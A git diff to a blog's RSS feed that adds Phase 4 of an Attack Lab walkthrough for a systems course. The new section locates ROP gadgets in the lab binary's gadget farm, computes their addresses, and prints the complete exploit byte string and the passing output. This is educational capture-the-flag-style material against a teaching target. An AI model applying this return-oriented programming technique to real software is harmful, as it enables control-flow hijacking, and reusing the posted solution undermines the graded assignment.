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diff --git a/docs/feed.rss b/docs/feed.rss index 268c5ec..b4a6f97 100644 --- a/docs/feed.rss +++ b/docs/feed.rss @@ -4,8 +4,8 @@ <title>Navan's Archive</title> <description>Rare Tips, Tricks and Posts</description> <link>https://web.navan.dev/</link><language>en</language> - <lastBuildDate>Tue, 17 Oct 2023 15:18:29 -0000</lastBuildDate> - <pubDate>Tue, 17 Oct 2023 15:18:29 -0000</pubDate> + <lastBuildDate>Tue, 17 Oct 2023 20:18:44 -0000</lastBuildDate> + <pubDate>Tue, 17 Oct 2023 20:18:44 -0000</pubDate> <ttl>250</ttl> <atom:link href="https://web.navan.dev/feed.rss" rel="self" type="application/rss+xml"/> @@ -1372,7 +1372,7 @@ Serving HTTP on 0.0.0.0 port 8000 ... Attack Lab </title> <description> - Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems + Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems </description> <link>https://web.navan.dev/posts/2023-10-05-attack-lab.html</link> <pubDate>Thu, 05 Oct 2023 20:01:00 -0000</pubDate> @@ -1714,6 +1714,129 @@ NICE<span class="w"> </span>JOB! </div> <p>Phases 1-3 Complete.</p> + +<h2>Phase 4</h2> + +<blockquote> + <p>For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your + gadget farm. You can construct your solution using gadgets consisting of the following instruction types, + and using only the first eight x86-64 registers (%rax–%rdi). + * movq + * popq + * ret + * nop</p> +</blockquote> + +<blockquote> + <p>All the gadgets you need can be found in the region of the code for rtarget demarcated by the + functions start<em>farm and mid</em>farm</p> +</blockquote> + +<blockquote> + <p>You can do this attack with just two gadgets</p> +</blockquote> + +<blockquote> + <p>When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit + string will contain a combination of gadget addresses and data.</p> +</blockquote> + +<p>Let us check if we can find <code>popq %rdi</code> between <code>start_farm</code> and <code>end_farm</code></p> + +<p>The way a normal person would find the hex representation <code>58</code> to be between <code>start_farm</code> and <code>end_farm</code> is to find the line numbers for both and +then search between those lines. But, what if you don't want to move away from the terminal?</p> + +<p>Assuming, the disassembled code for <code>rtarget</code> is stored in <code>dis2.txt</code> (<code>objdump -d rtarget > dis2.txt</code>)</p> + +<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 " 58" +16-000000000040281f <getval_373>: +17- 40281f: f3 0f 1e fa endbr64 +18: 402823: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax +19- 402828: c3 ret +20- +-- +26-0000000000402834 <setval_212>: +27- 402834: f3 0f 1e fa endbr64 +28: 402838: c7 07 58 90 c3 92 movl $0x92c39058,(%rdi) +29- 40283e: c3 ret +30- +-- +41-0000000000402854 <setval_479>: +42- 402854: f3 0f 1e fa endbr64 +43: 402858: c7 07 58 c7 7f 61 movl $0x617fc758,(%rdi) +44- 40285e: c3 ret +45- +</code></pre> + +<p>If we were to pick the first one as our gadget, the instruction address is <code>0x402823</code>, but to get to the instruction <code>58</code> we need to add 4 bytes:</p> + +<p><code>=> Gadget address = 0x402823 + 0x4 = 0x402827</code></p> + +<p>The PDF already provides the next gadget we are supposed to look for <code>48 89 c7</code></p> + +<pre><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 "48 89 c7" +11-0000000000402814 <setval_253>: +12- 402814: f3 0f 1e fa endbr64 +13: 402818: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi) +14- 40281e: c3 ret +15- +-- +31-000000000040283f <getval_424>: +32- 40283f: f3 0f 1e fa endbr64 +33: 402843: b8 48 89 c7 c3 mov $0xc3c78948,%eax +34- 402848: c3 ret +35- +36-0000000000402849 <setval_417>: +37- 402849: f3 0f 1e fa endbr64 +38: 40284d: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) +39- 402853: c3 ret +40- +jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ +</code></pre> + +<p>We cannot use the first match because it is followed by <code>0x94</code> instead of <code>c3</code>, either of the next two matches will work (<code>0x90</code> is <code>nop</code> and it does nothing but increment the program counter by 1)</p> + +<p>Again, we have to account for the offset.</p> + +<p>Taking <code>0x402843</code> we need to add just 1 byte. </p> + +<p><code>=> 0x402843 + 1 = 0x402844</code></p> + +<p>Our answer for this file is going to be:</p> + +<pre><code>padding +gadget1 +cookie +gadget2 +touch2 +</code></pre> + +<div class="codehilite"> +<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2 +000000000040264e<span class="w"> </span><touch2>: +<span class="w"> </span><span class="m">402666</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2a<span class="w"> </span>je<span class="w"> </span><span class="m">402692</span><span class="w"> </span><touch2+0x44> +<span class="w"> </span>4026b2:<span class="w"> </span>eb<span class="w"> </span>d4<span class="w"> </span>jmp<span class="w"> </span><span class="m">402688</span><span class="w"> </span><touch2+0x3a> +</code></pre> +</div> + +<pre><code>00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +27 28 40 00 00 00 00 00 +8f ee 8d 3e 00 00 00 00 +44 28 40 00 00 00 00 00 +4e 26 40 00 00 00 00 00 +</code></pre> + +<div class="codehilite"> +<pre><span></span><code>jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>./rtarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./rtarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>rtarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! +</code></pre> +</div> ]]></content:encoded> </item> |